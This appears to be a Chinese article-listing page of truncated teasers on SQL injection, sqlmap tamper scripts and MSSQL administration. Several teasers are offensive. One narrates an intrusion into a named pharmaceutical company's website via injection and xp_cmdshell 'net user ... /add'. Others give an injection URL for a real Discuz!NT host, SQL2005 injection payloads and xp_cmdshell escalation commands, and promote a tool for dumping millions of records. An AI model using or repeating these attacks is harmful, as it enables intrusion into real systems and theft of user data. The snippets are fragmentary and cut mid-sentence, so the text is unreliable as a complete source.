sqlmap,Tamper详解及使用指南
sqlmap版本当前为1.2.7.20，共有57个tamper脚本，与1.0版本相比新增了19个脚本。 序号 脚本名称 注释 1 0x2char 将每个编码后的字符转换为等价表达 2 apostrophemask 单引号替换为Utf8字符 3 apostrophenullencode 替换双引号为%00%27 4 appendnullbyte 有效代码后添加%00 5 base64encode 使...
ASP 连接 MySQL 数据库两种方法
一般都是用myodbc来连接。首先，在系统中安装 Mysql 的ODBC数据库驱动。如安装稳定版本是3.51.下载地址是：http://dev.mysql.com/downloads/connector/odbc/3.51.html。 下载安装好后。在控制面板-->管理工具-->数据源 (ODBC)中的“驱动程序”页中如果有MySQL ODBC 3.51 Driver就说明驱动已经安装...
K8-MSSQL综合利用工具V1.1 可秒脱百万/千万记录数据
程序:K8-MSSQL综合利用工具V1.0 语言:VS2010 C# (.NET Framework v2.0) 作者:拉登哥哥 QQ:396890445 更新历史: 2012-06-09 [+] BCP导出txt(可导出整个表) 秒脱百万/千万记录 测试导出CSDN 640W数据 仅需10-15秒 [+] 导出htm格式(可导出指定列) 只适合100W以下记录 [+] 修复空格(数...
修正药业官网被黑！
今天在网络上乱逛 不知道怎么的弹出一个修正药业的广告 点了进去就进修正的官方 在里面乱逛 看见一个注入 可是键入代码网页没有直接显示 我就丢到 Pangolin里面看看 果断的是注入点 后来验证是sa 是sa就太方便了 直接调用xp_cmdshell 上代码 ;exec master..xp_cmdshell"net user name password /add"-- ;exec master....
DNT存在SQL注入漏洞
注入地址： http://nt.discuz.net/space/manage/ajax.aspx?AjaxTemplate=../../admin/usercontrols/ajaxtopicinfo.ascx&poster=1 利用： http://nt.discuz.net/space/manage/ajax.aspx?AjaxTemplate=../../admin/usercon...
mssql 清除木马
代码如下: drop table te drop function dbo.mdSQL select a.name as Cname,b.name as tbname into te from syscolumns a,sysobjects b,systypes c where b.xtype='U' and a.id=b.id and a.xtype=c.xtype and c.name in ...
SQL2005过滤单引号的注入方式
其中 爆列名有点麻烦 mssql 2005 1： and 1=(SELECT @@VERSION)-- 判断数据库版本 （master.dbo.sysdatabases 表存放着sql2005数据库系统的所有的数据库信息 查询命令：user master; SELECT * FROM MASTER.DBO.SYSDATABASES ...
mssql_sa下常用和不常用提权操作大全
1. 开启和关毕xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 开启xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EX...
MSSQL读取文件 命令
这两天一直入侵一个网站 各种提权 包括 mssql：SA mysql：ROOT 主机是星外的 可以看到目标目录 数据库是ASP的 不能插马 无奈找了很多人都木有办法。。。 今天无聊中查看目录 发现有一个高人上传了一个WEBSHELL 在网上找到了办法 发现用MSSQL读取文件的办法 现在分享一下 Use webshell.cc;--(这里是随便选的一个数据库) drop table ...
MSSQL数据库日志满后快速解决办法
先提供一种复杂的方法压缩日志及数据库文件如下： 1.清空日志 DUMP TRANSACTION 库名 WITH NO_LOG 2.截断事务日志： BACKUP LOG 数据库名 WITH NO_LOG 3.收缩数据库文件(如果不压缩,数据库的文件不会减小 企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件 --选择日志文件--在收缩方式里选择收缩至XXM,这里会给出一个允许收...